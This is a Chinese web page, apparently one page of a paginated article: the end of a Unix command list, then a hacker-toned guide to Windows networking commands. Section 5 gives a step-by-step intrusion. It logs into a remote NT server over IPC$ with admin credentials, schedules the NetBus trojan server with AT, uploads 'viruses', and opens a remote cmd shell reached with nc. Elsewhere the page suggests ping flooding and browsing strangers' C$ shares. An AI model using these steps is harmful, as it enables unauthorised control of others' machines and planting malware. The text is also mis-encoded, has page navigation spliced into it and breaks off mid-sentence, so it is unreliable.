logger 顯示注冊(cè)信息
login 注冊(cè)
logname 獲取注冊(cè)名
look 在排序文件中查找某行
lorder 查找目標(biāo)庫的次序關(guān)系
lp 打印文件
lpr 打印文件
lpstat 顯示打印隊(duì)列狀態(tài)
ls 目錄列表
mail 發(fā)送或接收電子郵件
mailx 發(fā)送、接收或處理電子郵件
make 執(zhí)行有選擇的編譯
makekey 生成加密碼
man 顯示命令用法
mesg 接收或取消對(duì)話方式
mkdir 建立目錄
mkfifo 建立FIFO文件
mkfs 建立文件系統(tǒng)
mknod 建立文件系統(tǒng)的I節(jié)點(diǎn)
mount 安裝文件系統(tǒng)
mv 移動(dòng)文件
mvdir 移動(dòng)目錄
ncheck 按節(jié)點(diǎn)號(hào)生成節(jié)點(diǎn)名清單
上一頁 [1] [2] [3] [4] [5] [6] [7] 下一頁
文章錄入:csh 責(zé)任編輯:cshneqn 數(shù)學(xué)公式排版命令
newgrp 把用戶加入到新組
news 打印消息
nice 改變命令執(zhí)行優(yōu)先級(jí)
nl 給文件加行號(hào)
nm 顯示目標(biāo)文件符號(hào)表
nohup 忽略掛起或退出執(zhí)行命令
nroff 文本文件排版
od 按八進(jìn)制轉(zhuǎn)儲(chǔ)文件
pack 壓縮文件
passwd 改變口令
paste 文件合并
pax 可移植檔案管理程序
pcat 顯示壓縮格式文件
pg 分屏顯示
pr 按打印格式顯示文件
pstat 報(bào)告系統(tǒng)信息
pwck 口令文件校驗(yàn)程序
pwd 顯示當(dāng)前工作目錄
quot 檢查文件系統(tǒng)所有權(quán)
ratfor 轉(zhuǎn)換成標(biāo)準(zhǔn)FORTRANC程序
read 從標(biāo)準(zhǔn)輸入讀一行
readonly 標(biāo)記變量為只讀
red 文本編輯器
regcmp 正規(guī)表達(dá)式編輯
restor 文件系統(tǒng)恢復(fù)程序
restore 文件系統(tǒng)恢復(fù)程序
return 返回語句
rev 顛倒文件中每行字符次序
rm 刪除文件
rmdel SCCS使用程序
rmdir 刪除目錄
rsh(net) 遠(yuǎn)程SHELL
rsh(sec) 受限SHELL
runacct 運(yùn)行日常記帳程序
sact SCCS實(shí)用程序
sag 打印系統(tǒng)活動(dòng)圖
sar 報(bào)告系統(tǒng)活動(dòng)
sccsdiff SCCS實(shí)用程序
sdb 符號(hào)調(diào)試器
sdiff 并列顯示兩個(gè)文件的差別
sed 流編輯器
sendto 發(fā)送郵件
set 設(shè)置選項(xiàng)或參數(shù)
setmnt 建立文件系統(tǒng)安裝表
sh SHELL解釋器
shift 命令行參數(shù)移位
shl SHELL層(layer)管理程序
shutdown 關(guān)機(jī)
size 顯示目標(biāo)文件長度
sleep 掛起進(jìn)程一段時(shí)間
sort 文件排序和合并
spell 拼寫錯(cuò)誤檢查程序
spellin 拼寫錯(cuò)誤檢查
spellout 拼寫錯(cuò)誤檢查
spline 按平滑曲線輸出數(shù)據(jù)
split 分解一個(gè)文件
strings 在目標(biāo)文件中尋找可打印字符
strip 刪除符號(hào)表
stty 設(shè)置終端模式
su 改變用戶
sum 顯示文件校驗(yàn)和及塊數(shù)
sync 更新磁盤
tabs 設(shè)置制表符
tbl 表格排版
tee 在管道上建立多通路
tic 終端數(shù)據(jù)庫編譯程序
time 打印執(zhí)行命令所花時(shí)間
tiemx 報(bào)告命令所花時(shí)間及活動(dòng)
touch 更新文件時(shí)間
tput 恢復(fù)終端或查詢數(shù)據(jù)庫
tr 轉(zhuǎn)換字符
trap 捕獲信號(hào)
troff 文本文件排版
true 返回TRUE
tsort 拓?fù)渑判?
tty 顯示終端設(shè)備名
umask 設(shè)置文件掩碼
umount 拆卸文件系統(tǒng)
uname 顯示系統(tǒng)名
unget SCCS實(shí)用程序
uniq 刪除文件中重復(fù)行
units 度量單位轉(zhuǎn)換
unlink 刪除文件
unpack 將壓縮文件還原
until 循環(huán)語句
update 更新磁盤
val SCCS實(shí)用程序
vc SCCS實(shí)用程序
vi 全屏幕編輯器
volcopy 文件系統(tǒng)的文字拷貝
wait 等待所有字進(jìn)程結(jié)束
while 循環(huán)語句
who 顯示誰在使用系統(tǒng)
whodo 顯示哪些用戶在做什么
write 和另一用戶直接對(duì)話
xargs 建立參數(shù)表并執(zhí)行命令
yacc 語法分析程序生成器 ping winipcfg tracert netat netstat 詳解
網(wǎng)絡(luò)安全較有關(guān)系的幾個(gè)命令有:ping winipcfg tracert netat netstat
1. ping:這是TCP/IP協(xié)議中最有用的命令之一
它給另一個(gè)系統(tǒng)發(fā)送一系列的數(shù)據(jù)包,該系統(tǒng)本身又發(fā)回一個(gè)響應(yīng),這條實(shí)用程序?qū)Σ檎疫h(yuǎn)程主機(jī)很有用,它返回的結(jié)果表示是否能到達(dá)主機(jī),宿主機(jī)發(fā)送一個(gè)返回?cái)?shù)據(jù)包需要多長時(shí)間。
Usage: ping [-t] [-a] [-n count] [-l size] [-f] [-i TTL] [-v TOS]
[-r count] [-s count] [[-j host-list] [-k host-list]]
[-w timeout] destination-list
Options:
-t Ping the specifed host until interrupted.(除非人為中止,否則一直ping下去)
-a Resolve addresses to hostnames.(把IP轉(zhuǎn)為主機(jī)名)
-n count Number of echo requests to send.(響應(yīng)請(qǐng)求的數(shù)量)
-l size Send buffer size.(封包的大?。?
-f Set Don't Fragment flag in packet.(信息包中無碎片)
-i TTL Time To Live.(時(shí)間)
-v TOS Type Of Service.(服務(wù)類型)
-r count Record route for count hops.
-s count Timestamp for count hops.
-j host-list Loose source route along host-list.
-k host-list Strict source route along host-list.(較嚴(yán)格的……唉,怎么譯好……算了,放著吧)
-w timeout Timeout in milliseconds to wait for each reply.(timeout的時(shí)間)
比如大家可能都知道的一個(gè)命令 # ping -f -s 65000 ***.***.***.***或者前階段大家所謂ping死霉國佬時(shí)所用的命令(當(dāng)然這樣只會(huì)造成我方自己的網(wǎng)絡(luò)阻塞)。
其實(shí)這個(gè)命令主要是用來看對(duì)方應(yīng)答的速度,如果怎么ping 得到的結(jié)果都是request time out。那恐怕你根本就不用你去找這臺(tái)主機(jī)了,它不在你的射程之內(nèi)。
2. winipcfg:
這是用來看自己IP位址的小工具,win98自帶,NT里則網(wǎng)絡(luò)監(jiān)視器里就能看到IP了,還有個(gè)小實(shí)用程序叫……好象是叫IPCONFIG吧,沒怎么用,都快忘了……這種東東網(wǎng)上其實(shí)相當(dāng)之多,但既然“自帶”,又何須外求,何況網(wǎng)上下載的黑客的東東里有沒有特洛伊猶未可知,再說了,如果你不是在自己的“愛姬”上運(yùn)行,豈不是就沒法干活?——哈,不好意思,跑題了,但——接著跑兩句:可以把一些常用的、經(jīng)典的工具上傳到網(wǎng)上,當(dāng)作一個(gè)備份,什么時(shí)候在網(wǎng)吧、某家公司要干活的話,直接下載就是一個(gè)完整無缺的工具包了。
這個(gè)東東相當(dāng)簡(jiǎn)單,直接在DOS下鍵入命令就是了,沒有什么參數(shù)。
3. tracert:是驗(yàn)證通往遠(yuǎn)程主機(jī)路徑的實(shí)用程序
用法: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name
參數(shù):
-d Do not resolve addresses to hostnames.(不將IP轉(zhuǎn)為主機(jī)名)
-h maximum_hops Maximum number of hops to search for target.(最大跟蹤數(shù)量)
-j host-list Loose source route along host-list.
-w timeout Wait timeout milliseconds for each reply.(time out 的時(shí)間)
最簡(jiǎn)單的用法就是 tracert hostname 其中hostname是計(jì)算機(jī)名或你想跟蹤其路徑的計(jì)算機(jī)的IP地址。TRACERT將返回?cái)?shù)據(jù)包借以到達(dá)最終目的地的各種IP地址,你知道該怎么利用它嗎?
我略為解釋一下吧:跟蹤通往210.142.192.130的路由,最大30:
第一行:*&^%&* 我就是從這里出去的(呵,真不想說^&^)
第四行:是不是快要出國了呢?
第九行:呀!這是日本鬼子的地盤……
4. net:這可是個(gè)非常棒的東西,如果不會(huì)用的話,趕緊睜大眼睛噢
這個(gè)命令的語法是: 可用的命令包括:
NET ACCOUNTS NET HELP NET SHARE
NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW
NET HELP SERVICES 列出用戶可以啟動(dòng)的網(wǎng)絡(luò)服務(wù)。
NET HELP SYNTAX 解釋如何閱讀 NET HELP 語法行。
NET HELP command MORE 用于逐屏顯示幫助。
我可就不逐樣解釋了——這樣會(huì)把我的手指累壞,就說說常用的兩個(gè)命令吧
a.net view
這個(gè)命令的語法是:NET VIEW [computername /DOMAIN[:domainname]]
NET VIEW /NETWORK:NW [computername]
NET VIEW 用于顯示一個(gè)計(jì)算機(jī)上共享資源的列表。當(dāng)不帶選項(xiàng)使用本命令時(shí),
它就會(huì)顯示當(dāng)前域或網(wǎng)絡(luò)上的計(jì)算機(jī)上的列表。
computername 指用戶希望瀏覽其共享資源的計(jì)算機(jī)。
/DOMAIN:domainname 指定用戶希望瀏覽有效的計(jì)算機(jī)所在的域。如果省略了域名,
就會(huì)顯示局域網(wǎng)絡(luò)上的所有域。
/NETWORK:NW 顯示 NetWare 網(wǎng)絡(luò)上所有可用的服務(wù)器。如果指定了一個(gè)計(jì)算
機(jī)名,就會(huì)顯示NetWare 網(wǎng)絡(luò)中那個(gè)計(jì)算機(jī)上的可用資源。
至于舉例嘛,比如你知道一個(gè)遠(yuǎn)程計(jì)算機(jī)***.***.**.***上有開資源共享,那么運(yùn)行
net view ***.***.**.*** 就可以了
b.net use
這個(gè)命令的語法是:NET USE [devicename *] [computernamesharename[volume] [password *]]
[/USER:[domainname]username]
[[/DELETE] [/PERSISTENT:{YES NO}]]
NET USE [devicename *] [password *]] [/HOME]
NET USE [/PERSISTENT:{YES NO}]
NET USE 用于將計(jì)算機(jī)與共享的資源相連接,或者切斷計(jì)算機(jī)與共享資源的
連接。當(dāng)不帶選項(xiàng)使用本命令時(shí),它會(huì)列出計(jì)算機(jī)的連接。
devicename 指定一個(gè)名字以便與資源相連接,或者指定要切斷的設(shè)備。有兩種類型
的設(shè)備名:磁盤驅(qū)動(dòng)器 (D: 至 Z:) 和打印機(jī) (LPT1: 至 LPT3:)。輸入
一個(gè)星號(hào)來代替一個(gè)指定的設(shè)備名可以分配下一個(gè)可用設(shè)備名。
computername 指控制共享資源的計(jì)算機(jī)的名字。如果計(jì)算機(jī)名中包含有空字符,
就要將雙反斜線 () 和計(jì)算機(jī)名一起用引號(hào) (" ")括起來。計(jì)算機(jī)名
可以有1 到15 個(gè) 字符。
sharename 指共享資源的網(wǎng)絡(luò)名字。
volume 指定一個(gè)服務(wù)器上的 NetWare 卷。用戶必須安裝 Netware 的客戶服務(wù)
(Windows NT 工作站) 或者 Netware 的網(wǎng)關(guān)服務(wù) (Windows NT 服務(wù)
器) 并使之與NetWare 服務(wù)器相連。
password 指訪問共享資源所需要的密碼。
* 進(jìn)行密碼提示。當(dāng)在密碼提示符下輸入密碼時(shí),密碼是不會(huì)顯示的。
/USER 指定連接時(shí)的一個(gè)不同的用戶名。
domainname 指定另外一個(gè)域。如果缺省域,就會(huì)使用當(dāng)前登錄的域。
username 指定登錄的用戶名。
/HOME 將用戶與他們的宿主目錄相連。
/DELETE 取消一個(gè)網(wǎng)絡(luò)連接,并且從永久連接列表中刪除該連接。
/PERSISTENT 控制對(duì)永久網(wǎng)絡(luò)連接的使用。其缺省值是最近使用的設(shè)置。
YES 在連接產(chǎn)生時(shí)保存它們,并在下次登錄時(shí)恢復(fù)它們。
NO 不保存正在產(chǎn)生的連接或后續(xù)的連接;現(xiàn)有的連接將在下次登錄時(shí)被
恢復(fù)。可以使用 /DELETE 選項(xiàng)開關(guān)來刪除永久連接。
PS:前兩天在綠色兵團(tuán)的貼子里見到一位仁兄的話,與這個(gè)命令有異曲共工之妙,也說明一個(gè)大概:
在瀏覽器中輸入 file:///***.***.**.***c¥
則網(wǎng)上共享的C盤內(nèi)容就會(huì)顯示出來了,就仿佛用瀏覽器上FTP站點(diǎn)看到的一樣。各位不妨試試,還可試試舉一反三……
5.at: 排定在特定的日期和時(shí)間運(yùn)行某些命令和程序。
運(yùn)行 AT 命令之前必須先啟動(dòng) Schedule 服務(wù)。瞧,現(xiàn)炒就得現(xiàn)賣,剛學(xué)了net命令,但這個(gè)start命令我可沒詳述,自已看看幫助文件,摸索一下各種命令的用法吧。
C:》net start schedule
Schedule 正在啟動(dòng)服務(wù).....
Schedulw 服務(wù)啟動(dòng)成功。
AT [computername] [ [id] [/DELETE] /DELETE [/YES]]
AT [computername] time [/INTERACTIVE]
[ /EVERY:date[,...] /NEXT:date[,...]] "command"
computername 指定遠(yuǎn)程計(jì)算機(jī)。 如果省略這個(gè)參數(shù)
命令會(huì)被排定在本機(jī)上運(yùn)行。
id 指定給排定進(jìn)度命令的識(shí)別號(hào)。
/delete 刪除某個(gè)已排定進(jìn)度的命令。如果省略標(biāo)識(shí),計(jì)算機(jī)上所有已排定進(jìn)度的
命令都會(huì)被刪除。
/yes 用于刪除所有作業(yè),且不想在運(yùn)行刪除時(shí)顯示確認(rèn)
信息 。
time 指定命令運(yùn)行的時(shí)間。
/interactive 允許作業(yè)在運(yùn)行時(shí),與用戶通過桌面交互。
/every:date[,...] 指定在每周或每月的某日 (或某幾日) 運(yùn)行命令。
如果省略日期,則默認(rèn)為在每月的本日運(yùn)行。
/next:date[,...] 指定在下一個(gè)指定日期 (如,下周三),運(yùn)行命令。
如果省略日期,則默認(rèn)為在每月的本日運(yùn)行。
"command" 準(zhǔn)備運(yùn)行的 Windows NT 命令或批處理文件。
知道了如何使用AT,再來看看如何在遠(yuǎn)程N(yùn)T上運(yùn)行ntsrv.exe:
1 利用管理員登陸到目的服務(wù)器,方法為: net use x.x.x.xipc¥ "adminpwd" /user:"adminuser"(這里具體方法可參見KILLUSA的文章《HOW TO GET IN NT》)
2 利用ntsrv.exe啟動(dòng)遠(yuǎn)程: netsvc x.x.x.x schedule /start
3 利用AT.EXE在遠(yuǎn)程服務(wù)器設(shè)置程序定時(shí)運(yùn)行,當(dāng)然最快運(yùn)行最理想,所以,你可以用letmein.exe得到服務(wù)器的時(shí)間,然后:
at x.x.x.x 00:00 ntsrv.exe /port:64321
其中00:00要改為用letmein.exe得回來的具體時(shí)間+一點(diǎn)容量,等一會(huì)后,再在本地啟動(dòng)netbus.exe,鍵入目的服務(wù)器得ip地址或hostname,連接!比如第一種方法,你想要在目的服務(wù)器運(yùn)行諸如病毒之類的東東,可以利用netbus得上傳功能,將各種“大補(bǔ)丸”上傳至目的服務(wù)器,再用netbus的"Start program",鍵入完整路徑,就ok了!第二種方法是利用netbus的“App redirect”功能,啟動(dòng)遠(yuǎn)程telnet服務(wù),如下:在netbus中擊“App redirect”,鍵入"C:》winntsystem32cmd.exe",Port為:4321,服務(wù)就啟動(dòng)了,然后在本地運(yùn)行:nc x.x.x.x 4321,出現(xiàn)dos啟動(dòng)的畫面就表示連接成功:
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:》
注:這里有一小段是抄KILLUSA的文章——?jiǎng)e找我要稿費(fèi)啊^&^
6.netstat 這是一個(gè)觀察網(wǎng)絡(luò)連接狀態(tài)的實(shí)用工具。
它能檢驗(yàn)IP的當(dāng)前連接狀態(tài),在斷定你的基本級(jí)通信正在進(jìn)行后,就要驗(yàn)證系統(tǒng)上的服務(wù)。這個(gè)服務(wù)包括檢查正在收聽輸入的通信量和/或驗(yàn)證你正在創(chuàng)建一個(gè)與遠(yuǎn)程站點(diǎn)的會(huì)話,它可以很輕松地做到這一點(diǎn)。網(wǎng)上也可以看到很多如X-netstat之類的工具,是WIN界面的,更加直觀而已,并沒有多什么功能,這個(gè)命令的具體用法如下:
Displays protocol statistics and current TCP/IP network connections.(顯示協(xié)議與當(dāng)前網(wǎng)絡(luò)連接)
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]
-a Displays all connections and listening ports.(顯示所有連接和監(jiān)聽端口)
-e Displays Ethernet statistics. This may be combined with the -s
option.(顯示以太連接,可以與-s連用)
-n Displays addresses and port numbers in numeri
上一頁 [1] [2] [3] [4] [5] [6] [7]
文章錄入:csh 責(zé)任編輯:csh相關(guān)文章
網(wǎng)絡(luò)基礎(chǔ)知識(shí)講座之四理解數(shù)據(jù)鏈路層
網(wǎng)絡(luò)基礎(chǔ)知識(shí)講座之四理解數(shù)據(jù)鏈路層...2007-09-09教你全面認(rèn)識(shí)操作系統(tǒng)的svchost進(jìn)程
教你全面認(rèn)識(shí)操作系統(tǒng)的svchost進(jìn)程...2007-09-09ADSL撥號(hào)中出現(xiàn)的錯(cuò)誤代碼問答集
ADSL撥號(hào)中出現(xiàn)的錯(cuò)誤代碼問答集...2007-09-09路由網(wǎng)關(guān)網(wǎng)絡(luò)管理和監(jiān)控功能介紹
路由網(wǎng)關(guān)網(wǎng)絡(luò)管理和監(jiān)控功能介紹...2007-09-09